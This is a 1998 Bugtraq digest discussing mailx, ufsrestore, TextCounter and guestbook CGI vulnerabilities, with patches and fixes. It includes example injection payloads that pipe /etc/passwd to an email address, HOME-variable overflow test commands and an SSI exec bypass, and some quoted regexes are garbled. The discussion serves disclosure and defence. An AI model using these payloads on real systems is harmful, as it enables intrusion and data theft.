MS4xLm9yaWcvbGlzdC5jCUZyaSBKdW4gMTQgMTA6Mjc6MDMgMTk5Ng0KKysr
IG1haWx4LTguMS4xL2xpc3QuYwlTYXQgSnVuIDIwIDA0OjM0OjQwIDE5OTgN
CkBAIC01MTUsNyArNTE1LDggQEANCiAJaW50IHF1b3RlYzsNCiANCiAJaWYg
KHJlZ3JldHAgPj0gMCkgew0KLQkJc3RyY3B5KGxleHN0cmluZywgc3RyaW5n
X3N0YWNrW3JlZ3JldHBdKTsNCisJCXN0cm5jcHkobGV4c3RyaW5nLCBzdHJp
bmdfc3RhY2tbcmVncmV0cF0sIFNUUklOR0xFTik7DQorCQlsZXhzdHJpbmdb
U1RSSU5HTEVOLTFdPSdcMCc7DQogCQlsZXhudW1iZXIgPSBudW1iZXJzdGFj
a1tyZWdyZXRwXTsNCiAJCXJldHVybihyZWdyZXRzdGFja1tyZWdyZXRwLS1d
KTsNCiAJfQ0KQEAgLTY5NSwxMCArNjk2LDEyIEBADQogCXJlZ2lzdGVyIGNo
YXIgKmNwLCAqY3AyLCAqYmFja3VwOw0KIA0KIAlzdHIrKzsNCi0JaWYgKHN0
cmxlbihzdHIpID09IDApDQorCWlmIChzdHJsZW4oc3RyKSA9PSAwKSB7DQog
CQlzdHIgPSBsYXN0c2NhbjsNCi0JZWxzZQ0KLQkJc3RyY3B5KGxhc3RzY2Fu
LCBzdHIpOw0KKwl9IGVsc2Ugew0KKwkJc3RybmNweShsYXN0c2Nhbiwgc3Ry
LCAxMjgpOw0KKwkJbGFzdHNjYW5bMTI3XT0nXDAnOw0KKwl9DQogCW1wID0g
Jm1lc3NhZ2VbbWVzZy0xXTsNCiAJDQogCS8qDQpkaWZmIC1ydSBtYWlseC04
LjEuMS5vcmlnL21haW4uYyBtYWlseC04LjEuMS9tYWluLmMNCi0tLSBtYWls
eC04LjEuMS5vcmlnL21haW4uYwlGcmkgSnVuIDE0IDEwOjI3OjA1IDE5OTYN
CisrKyBtYWlseC04LjEuMS9tYWluLmMJU2F0IEp1biAyMCAwNDo1OToxOCAx
OTk4DQpAQCAtNDgsNiArNDgsMTIgQEANCiAjZW5kaWYNCiAjZW5kaWYgLyog
bm90IGxpbnQgKi8NCiANCisvKg0KKyAqIE1vc3Qgc3RyY3B5L3NwcmludGYg
ZnVuY3Rpb25zIGhhdmUgYmVlbiBjaGFuZ2VkIHRvIHN0cm5jcHkvc25wcmlu
dGYgdG8NCisgKiBjb3JyZWN0IHNldmVyYWwgYnVmZmVyIG92ZXJydW5zIChh
dCBsZWFzdCBvbmUgb3QgdGhlbSB3YXMgZXhwbG9pdGFibGUpLg0KKyAqIFNh
dCBKdW4gMjAgMDQ6NTg6MDkgQ0VTVCAxOTk4IEFsdmFybyBNYXJ0aW5leiBF
Y2hldmFycmlhIDxhbHZhcm9AbGFuZGVyLmVzPg0KKyAqLw0KKw0KICNpbmNs
dWRlICJyY3YuaCINCiAjaW5jbHVkZSA8ZmNudGwuaD4NCiAjaW5jbHVkZSA8
c3lzL2lvY3RsLmg+DQpkaWZmIC1ydSBtYWlseC04LjEuMS5vcmlnL3Y3Lmxv
Y2FsLmMgbWFpbHgtOC4xLjEvdjcubG9jYWwuYw0KLS0tIG1haWx4LTguMS4x
Lm9yaWcvdjcubG9jYWwuYwlGcmkgSnVuIDE0IDEwOjI3OjA5IDE5OTYNCisr
KyBtYWlseC04LjEuMS92Ny5sb2NhbC5jCVNhdCBKdW4gMjAgMDQ6MzQ6NTcg
MTk5OA0KQEAgLTYwLDE1ICs2MCwxOSBAQA0KICAqIG1haWwgaXMgcXVldWVk
KS4NCiAgKi8NCiB2b2lkDQotZmluZG1haWwodXNlciwgYnVmKQ0KK2ZpbmRt
YWlsKHVzZXIsIGJ1Ziwgc2l6ZSkNCiAJY2hhciAqdXNlciwgKmJ1ZjsNCisJ
aW50IHNpemU7DQogew0KIAljaGFyICptYm94Ow0KIA0KLQlpZiAoIShtYm94
ID0gZ2V0ZW52KCJNQUlMIikpKQ0KLQkJKHZvaWQpc3ByaW50ZihidWYsICIl
cy8lcyIsIF9QQVRIX01BSUxESVIsIHVzZXIpOw0KLQllbHNlDQotCQkodm9p
ZClzdHJjcHkoYnVmLCBtYm94KTsNCisJaWYgKCEobWJveCA9IGdldGVudigi
TUFJTCIpKSkgew0KKwkJKHZvaWQpc25wcmludGYoYnVmLCBzaXplLCAiJXMv
JXMiLCBfUEFUSF9NQUlMRElSLCB1c2VyKTsNCisJfSBlbHNlIHsNCisJCSh2
b2lkKXN0cm5jcHkoYnVmLCBtYm94LCBzaXplKTsNCisJCWJ1ZltzaXplLTFd
PSdcMCc7DQorCX0NCisNCiB9DQogDQogLyoNCg==
--1287857710-1215613336-898748369=:12634--
------------------------------
Date: Wed, 24 Jun 1998 13:51:49 -0400
From: John McDonald
Subject: Re: ufsrestore sparc exploit
On Wed, 24 Jun 1998, Aggelos P. Varvitsiotis wrote:
> Whatever the "fix" was, it has not prevented the long argument from
> smashing ufsrestore's stack, but has simply moved the code location
> something more than 100 bytes higher on the stack. The original
> code even takes an optional argument for this, so no recompilation
> is needed; the exploit works like a charm:
I probably should have explained the exploit a little when I posted it. I
started messing around with ufsrestore when the Sun advisory came out and
couldn't get anywhere with the overflow on the command line. So, I
thought that maybe that wasn't the hole that the Sun advisory was
addressing.
Eventually, I found that I could crash it another way: by making argv[0]
rather large via an exec and hitting ctrl-c before ufsrestore errored out.
Apparantly, a signal handler probably strcpys or sprintfs argv[0] into a
buffer it allocates off of the stack. From what I understand, the kernel
will set up an activation record for a signal handler on the top of the
user's stack, so thus, it is exploitable. I'm not sure about the
ramifications of the register windows in the Sparc architecture in this
situation because it is such a wierd case, but what I think what is
happening is that the program returns from the signal handler, and then
hits another return in the code, which gets our instruction pointer
popped. It could also be possible that the signal handler returns into
some sort of signal cleanup code to restore the signal mask (like linux
does I think), and then that returns, which will pop our instruction
pointer off of the stack (because it would have had to have been saved).
Perhaps someone with more knowledge or source could explain what actually
happens in this situation.
To clarify, I believe that this is a different problem in ufsrestore than
the Sun released advisory deals with, due to the fact that people have
told me the patch is ineffective. I haven't personally tested it on a
patched machine.
I've had a lot of people contact me and tell me that the exploit either
works on all of their machines, or doesn't work at all. The way I
originally wrote it, it jumps into where argv[0] sits above the stack.
Assuming that solaris works the same way as bsd in this respect (please
correct me here), the memory looks like this:
env strings
argv strings
env pointers
argv pointers
stack
So, the exploit's fake return address was based upon the offset between
a place in the stack, and the first argv[] string. The problem with this
is that if someone has a different number of env variables defined, the
number of env pointers will be higher, and the accuracy of the guess will
be shot. So, you can either mess with the offset by passing an argument
that is a multiple of 8, or you can rewrite it to jump into the stack.
(just gdb a core dump and do x/42 0xefffd000 or somewhere near that
(sometimes its at 0xdfffxxxx on some 2.4 boxes i think) and hit enter until
you find the shellcode).
humble
------------------------------
Date: Wed, 24 Jun 1998 21:47:13 -0400
From: Matt Wright
Subject: TextCounter: SECURITY HOLE PLUGGED!
Thanks to all of those at BugTraq who forwarded me the security hole info
on TextCounter. Sometimes it takes those 15 messages to get my attention
as I usually don't get through all my e-mail these days (The author
apparently did send me the warning about 8 days ago, but I hadn't read it
yet). :(
At any rate, I've spent about half the day today updating the TextCounter
in order to plug this security hole, which was present in both the Perl
and C++ Versions. I used a slightly different approach than the one
originally proposed in the alert message. This new approach causes count
data files to be named slightly differently, as all non-word characters
(anything besides a-z, A-Z and 0-9) are turned into an underscore.
The new versions posted at my site come with the fixed source and a small
perl script called convert.pl which will update your data filenames from
v1.2 to v1.2.1 (or v1.3 to v1.3.1 if you use the C++ version).
I also addded some memory de-allocation to the C++ version which was
missing originally and made the same bug fix that v1.2.1 in Perl
received. convert.pl will work with the C++ data files in the same way
as both end up with the same names.
You can obtain the fixed versions at:
(Perl) http://www.worldwidemart.com/scripts/textcounter.shtml
(C++) http://www.worldwidemart.com/scripts/C++/textcounter.shtml
Another short fix, which I don't believe is nearly as good as simply
changing everything in the DOCUMENT_URI, is putting '.shtml/' into
your @invalid_uri. It was already in mine for other reasons, so I
never noticed the attacks, though I think there are ways of getting
around that fix, so I would recommend simply downloading and installing
the new version.
It is also possible that the new naming scheme could create a few
conflicts where two pages want the same name. There is a fairly slight
chance of this happening, but if it becomes a problem for anyone, let
me know and we'll try to find a work-around for that.
Please let me know if there are any other gaping security holes or if
this one has not been adequately fixed.
Thanks,
Matt Wright
********** The CGI Resource Index --> http://www.cgi-resources.com/ **********
Matt Wright, mattw@worldwidemart.com, http://www.worldwidemart.com/mattw/
Matt's Script Archive, Free CGI scripts, http://www.worldwidemart.com/scripts/
************ CGI/Perl Cookbook -> http://www.cgi-perl.com/promo/ *************
------------------------------
Date: Wed, 24 Jun 1998 20:31:13 +1200
From: Andrew McNaughton
Subject: Re: textcounter.pl (alternate fix)
> Hi,
>
> I've found a serious problem in textcounter.pl script that enable
>everybody to execute commands on your system with the same rights as the
>httpd daemon.
> Program was created by Matt Wright (mattw@worldwidemart.com) and
>has a "Last Modified Date" at 5/10/96. You can find it at
>http://www.worldwidemart.com/scripts/.
>
> The counter use the enviroment variable DOCUMENT_URI to
>create/read/update a file where it keeps the hit count. There is NO test
>for shell metacharacters, so you can easily put something evil, that will
>make PERL to execute it ...
> This is the two lines responsible with the problem ...
>
> if (-e "$data_dir$count_page") {
> open(COUNT,"$data_dir$count_page");
> ....
> }
I reccomend the original posters fix ahead of, or perhaps in combination
with my own. My purpose in writing this is to point out that the
vulnerability fits a general class of problems which is to perl what the
buffer overflow is to c.
I find that in order to establish a script's vulnerability or otherwise,
it's usually easier to work back from the danger points in the scripts
interaction with the system rather than working forward from the untrusted
input. Fixing a problem should involve tightening both ends.
grep -R open /home/site/cgi-bin
This is the first thing I look for when evaluating a perl cgi script's
security. An open command with the file mode not explicitly set.
$evil1 = "|cat /etc/passwd | mail foo@bar.com";
$evil1 = "cat /etc/passwd | mail foo@bar.com|";
open (FILE, $evil); # unsafe
open (FILE, "$evil"); # unsafe
open (FILE, "/dir/$evil); # unsafe
open (FILE, "$evil.suffix); # unsafe
open (FILE, "/dir/$evil.suffix); # safe but I don't like it
open (FILE, "<$evil.suffix); # safe
open (FILE, ">$evil.suffix); # safe
open (FILE, "+>$evil.suffix); # safe
Always be explicit about file read/write/pipe mode when opening files with
perl.
ie this is an alternative fix:
open(COUNT,"$data_dir$count_page");
to
open(COUNT,"<$data_dir$count_page");
This fix on it's own means that you get evidence in the file names of
anyone trying to exploit the script. I don't reccommend it though.
The fix I present has the undesirable result that it means the user can
create files with dangerous file names - the file gets created, and then
someone comes along and does a "rm *". and that filename with a pipe
character and evil command executes. This fix is not a good substitute for
the original, but as a practice it substantially reduces potential for
exploits.
Andrew McNaughton
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Andrew McNaughton =
++64 4 389 6891 Any sufficiently advanced =
andrew@squiz.co.nz bug is indistinguishable =
http://www.newsroom.co from a feature. =
-- Rich Kulawiec =
------------------------------
Date: Tue, 23 Jun 1998 00:51:52 -0400
From: bobk
Subject: WIPO: Bugtraq DOS Attack
http://www.zdnet.com/pcweek/news/0622/22wipo.html
I have just read this, and I am very alarmed about the consequences of
this bill. Essentially, if this bill becomes law, Bugtraq and much of the
rest of the Security community would be wiped out. It does this by making
it a crime to reverse-engineer software.
The horror of this bill is obvious, it is at least as bad as the CDA, and
we have yet to see much press about it. However, it is not too late to
lobby congress and the press. It passed the Senate already,
so we need to work on the house to block it. If we drum up enough media
support in a grass-roots method, we can reach the critial mass neccessary
to get heard.
The bill is supported, if not sponsored, by the SPA (software publishers
association). I'd like to get a list of its members and pressure them. I
live in the Boston area and am willing to carry a sign outside of Lotus or
whomever's headquarters for a few hours. I hope others are willing and
able to make a similar sacrifice of time and effort. Even making some
resources available to the cause would be a great help. We need to
coordinate political action. If you are in the Boston area please email me
if you are interested in coordinating action.
I realize that this list is for technical discussion and some may
consider this post off-topic, but I feel that as this bill threatens the
very existance of this list and therefore needs to be discussed.
p.s. also check:
http://www.l0pht.com
http://www.eff.org/effector/HTML/effect11.08.html
http://www.dfc.org
------------------------------
Date: Thu, 25 Jun 1998 01:05:56 -0700
From: gold
Subject: Re: security hole in mailx
sh-2.02$ id
uid=1001(gold) gid=8(mem) groups=100(users)
this is on slackware 3.5
slack 3.3 was complete euid root
thank-you for notice alvaro
------------------------------
Date: Thu, 25 Jun 1998 12:05:58 +0200
From: Casper Dik
Subject: Re: security hole in mailx
>I've discovered a rather serious security hole in mailx, the good
>old Berkeley mail program. It's somehow present at least in the
>last versions I've checked (mailx-8.1.1 in Linux, mailx 5.0 in
>Solaris). The bug is an exploitable buffer overflow (using the
>HOME environment variable) that allows any local user to acquire
>the privileges under which the program runs, usually group "mail"
>(on many of the modern versions I've seen, mailx is setgid
>"mail"). So the bug allows you to get "mail" group privileges,
>and this means that at least you can play with other people's
>mail. Although this wouldn't be very nice from you, this
>shouldn't be a big problem for the integrity of the system. But
>there could be a much more serious implication: being able to
>write in /var/spool/mail is usually an open door to the root
>account, for example by using races and such in mail delivery
>programs.
Let me start of saying that I've filed a bug in the Solaris bug database,
it's #4152234. (I say this mainly to prevent duplicate filings)
>About the bug: it is in "fio.c", in the "xname" variable of the
>"expand" function:
>
> char xname[PATHSIZE];
> [...]
> sprintf(xname, "%s%s", homedir, name + 1);
It should be noted that homedir itself, at least on Solaris,,
is a char homedir[PATHSIZE] which is copied from the environment.
(This never stops to amaze me; why *copy* the result from getenv()?)
You'd want to fix the overflow of homedir too; looks like there
are a few other overflows as well.
>Two attachments are included in this message:
>
>-A patch against mailx-8.1.1 that solves the problem. There
> are a lot of buffer overflows in the sources of mailx,
> although only the one I mention seems to be exploitable. The
> patch is dirty and simple: replace sprintf and strcpy by
> snprintf and strncpy almost everywhere. I haven't tested it
> a lot, use it at your own risk.
I don't particularly care for arguments as "seem exploitable".
The homedir data segment buffer overflow may well be exploitable;
in the Solaris sources, there is at least one other buffer overflow
on the stack.
>BTW, the person who tested the bug under Solaris (I don't have
>direct access to any Solaris machine) told me that he had a hard
>time:
>
>tcsh$ setenv HOME `perl -e 'print "A"x10000'`
>connection lost
>
>!!! Seems like tcsh doesn't like huge homes like this. Second try:
Interesting.
This should work for all shells:
env HOME=`perl -e 'print "x" x 10000'` ...
Tcsh calls abort(). Weird.
Casper
------------------------------
Date: Thu, 25 Jun 1998 05:58:24 -0500
From: Ben Collins
Subject: Re: security hole in mailx
I tried this on Solaris 2.6 with no segmantation fault, so I assume there
is an unexloitable version of 5.0:
$ HOME=`perl -e 'print "A"x10000'`
$ mailx
No mail for bmc
$
$ mailx -V
mailx version 5.0 Tue Jul 15 23:42:53 PDT 1997
$
On Thu, 25 Jun 1998, Alvaro Martinez Echevarria wrote:
> Hi there.
>
> I've discovered a rather serious security hole in mailx, the good
> old Berkeley mail program. It's somehow present at least in the
> last versions I've checked (mailx-8.1.1 in Linux, mailx 5.0 in
> Solaris). The bug is an exploitable buffer overflow (using the
> HOME environment variable) that allows any local user to acquire
> the privileges under which the program runs, usually group "mail"
> (on many of the modern versions I've seen, mailx is setgid
> "mail"). So the bug allows you to get "mail" group privileges,
> and this means that at least you can play with other people's
> mail. Although this wouldn't be very nice from you, this
> shouldn't be a big problem for the integrity of the system. But
> there could be a much more serious implication: being able to
> write in /var/spool/mail is usually an open door to the root
> account, for example by using races and such in mail delivery
> programs.
>
> You can check if your particular version of mailx is vulnerable
> through these steps:
>
> $ cp `which mailx` ./mailx
> $ HOME=`perl -e 'print "A"x10000'` ./mailx
> Segmentation fault (core dumped)
> $ gdb ./mailx core
> GNU gdb 4.17
> [...]
> #0 0x41414141 in ?? ()
>
> Here we go. By the way, although in Linux 2000 "A"s are enough,
> in Solaris you'll need more (10000 worked for me). I've verified
> that Debian GNU/Linux (package mailx-8.1.1-9 and previous) is
> vulnerable. Solaris 5.5.1 and 5.6 (mailx 5.0) also seem vulnerable
> after a couple of quick tests, but I haven't been able to
> check the return address due to lack of a root access to any
> Solaris, so I'm not 100% sure. Redhat Linux mailx has the bug,
> but as they don't install it setgid mail there's no direct
> danger.
>
> About the bug: it is in "fio.c", in the "xname" variable of the
> "expand" function:
>
> char xname[PATHSIZE];
> [...]
> sprintf(xname, "%s%s", homedir, name + 1);
>
> Two attachments are included in this message:
>
> -A patch against mailx-8.1.1 that solves the problem. There
> are a lot of buffer overflows in the sources of mailx,
> although only the one I mention seems to be exploitable. The
> patch is dirty and simple: replace sprintf and strcpy by
> snprintf and strncpy almost everywhere. I haven't tested it
> a lot, use it at your own risk.
>
> -An exploit that should work under Linux (at least it does so in
> Debian). To test: compile it, execute it, and it should give you
> a shell; check with "id" if you are group "mail". By the way,
> the program assumes the gid for group mail is 8, as in Debian.
> Please, use it _JUST_ for testing and educative purposes ;)
>
> I reported the problem a few days ago to Debian, Redhat, Sun, and
> CERT, and I also sent them the patches. So the new versions
> should be on the way or even already released, at least for the
> Linux distributions.
>
> BTW, the person who tested the bug under Solaris (I don't have
> direct access to any Solaris machine) told me that he had a hard
> time:
>
> tcsh$ setenv HOME `perl -e 'print "A"x10000'`
> connection lost
>
> !!! Seems like tcsh doesn't like huge homes like this. Second try:
>
> tsch$ exec sh
> sh$ HOME=`perl -e 'print "A"x10000'`
> sh$ which mailx
> Segmentation Fault (core dumped)
>
> Erm... Seems like Sun is doing a great job with buffer overflows.
> This happened under 5.5.1. I wonder if these have any security
> implication. Anyway, they are not bad as a joke.
>
> Regards.
>
> --
> Alvaro Martínez Echevarría
> LANDER SISTEMAS
> Pº Castellana, 121
> 28046 Madrid, SPAIN
>
>
------------------------------
Date: Thu, 25 Jun 1998 19:48:24 +0300
From: Jarkko Hietaniemi
Subject: Re: textcounter.pl (alternate fix)
If you aim at safe Perl CGIs I suggest the following:
(1) upgrade to Perl 5: Perl 4 has known security holes
(2) use -T (taint) option of Perl: suspect data sources abort the script
(3) use -w and "use strict;" to catch other bugs
(4) Perl 5 has oodles of ready CGI modules, some of which you can use
as-is and some as building blocks: leverage from existing codebase
(5) with perl5 comes doc page called perlsec that tells, ta-dah,
about writing secure Perl
(6) you can be really paranoid with Perl 5 module called Safe in which
you can limit the operations the Perl script can do: e.g. it cannot
do any file I/O or you can trap operations (for example to check
for their arguments' sanity): the Perl script is run in a "safe
compartment", sort of chroot() for "Perl op hierarchy".
http://www.perl.com/CPAN/src/latest.tar.gz
always contains the latest stable Perl maintenance release as source code
--
$jhi++; # http://www.iki.fi/~jhi/
# There is this special biologist word we use for 'stable'.
# It is 'dead'. -- Jack Cohen
------------------------------
Date: Thu, 25 Jun 1998 12:07:18 -0600
From: Theo de Raadt
Subject: Re: security hole in mailx
Of course the OpenBSD mailx program isn't setuid or setgid.
But we did an audit of the source code anyways. This particular
buffer overflow isn't possible in our code, since $HOME is ignored the
moment it becomes longer than MAXPATHNAMELEN.
We found and fixed numerous other problems in mailx. If anyone
intends to make this program setuid or setgid, they need to do a
significant amount of work... or just copy our code.
But I don't gaurantee all problems are fixed in our version... since
we are not running setgid. We use a different mechanism for mail
spool locking.
------------------------------
Date: Thu, 25 Jun 1998 15:07:41 -0400
From: Stunt Pope
Subject: guestbook script is still vulnerable under apache
Due to what looks to me to be a bug in certain webservers handling of
malformed SSI tags, I believe I've found a potential vulnerability in the
guestbook script at Matt Wright's archive.
Basically, it is still possible to use the SSI method of attack provided
certain conditions are met:
1) $allow_html is turned on (which it is by default)
2) whatever file holds the messages (guestbook.html) is
server parsed
3) the web server executes a malformed SSI
The script attempts to strip out SSI's with the following regex:
$value =~ s///g;
Which is fairly easily circumvented by entering:
//g;
>
> Which is fairly easily circumvented by entering:
>
> //g;
I don't use the program in question so I can't pass this on to the author, but
here is a replacement for that "bad" line that will handle all (to my
knowledge) SSI's including malformed ones:
$value=~s{
]|<[^<>]+>)* # Remove anything in between, including
# the non-spec'ed included tags ...
> # End of the comment.
}{}gsx; # Replace with Nothing
This replaces , including "not correct" commented-out tags. Works great in a little web spider I wrote.
--
Randomly Generated Tagline:
Capital Punishment means never having to say "YOU AGAIN?"
------------------------------
Date: Fri, 26 Jun 1998 02:25:14 +0200
From: Lars Eilebrecht
Subject: Re: guestbook script is still vulnerable under apache
According to Stunt Pope:
[...]
> ...also seems to work. So it seems to me that the vulnerability exists
> because:
>
> 1) It's assumed an attacker will enter a correctly formed SSI
> 2) the httpd executes malformed SSI's
IMHO the guestbook script should not try to strip out SSIs, but rather
reject every input which contain the sequence "" ending sequence (By the way, it is possible to use
more than one directive inside a SSI expression,
e.g. ).
If the ending sequence is missing Apache outputs the error message
"premature EOF in parsed file /path/to/file", but IMHO there is no
reason why it shouldn't execute a valid SSI directive.
Exec-SSIs are a security problem itself and one should know about the risks
when enabling them (and enabling them for pages which are generated
from user input, e.g. guestbook pages, is just a stupid idea).
just my $0.02...
--
Lars Eilebrecht - Fatal system error:
sfx@unix-ag.org - no coffee detected; user halted.
http://www.home.unix-ag.org/sfx/
------------------------------
Date: Thu, 25 Jun 1998 15:59:26 -0700
From: Andru Luvisi
Subject: Re: guestbook script is still vulnerable under apache
On Thu, 25 Jun 1998, Theo Van Dinter wrote:
[snip]
> I don't use the program in question so I can't pass this on to the author, but
> here is a replacement for that "bad" line that will handle all (to my
> knowledge) SSI's including malformed ones:
>
> $value=~s{
> ([^<>]|<[^<>]+>)* # Remove anything in between, including
> # the non-spec'ed included tags ...
> > # End of the comment.
> }{}gsx; # Replace with Nothing
>
>
> This replaces , including "not correct" commented-out tags.
> Works great in a little web spider I wrote.
I'm not convinced this is a complete solution:
andru:~$ cat sub.pl
#!/usr/bin/perl -p
s{
]|<[^<>]+>)* # Remove anything in between, including
# the non-spec'ed included tags ...
> # End of the comment.
}{}gsx; # Replace with Nothing
andru:~$ perl sub.pl
<!--#exec #cmd="/bin/echo foo">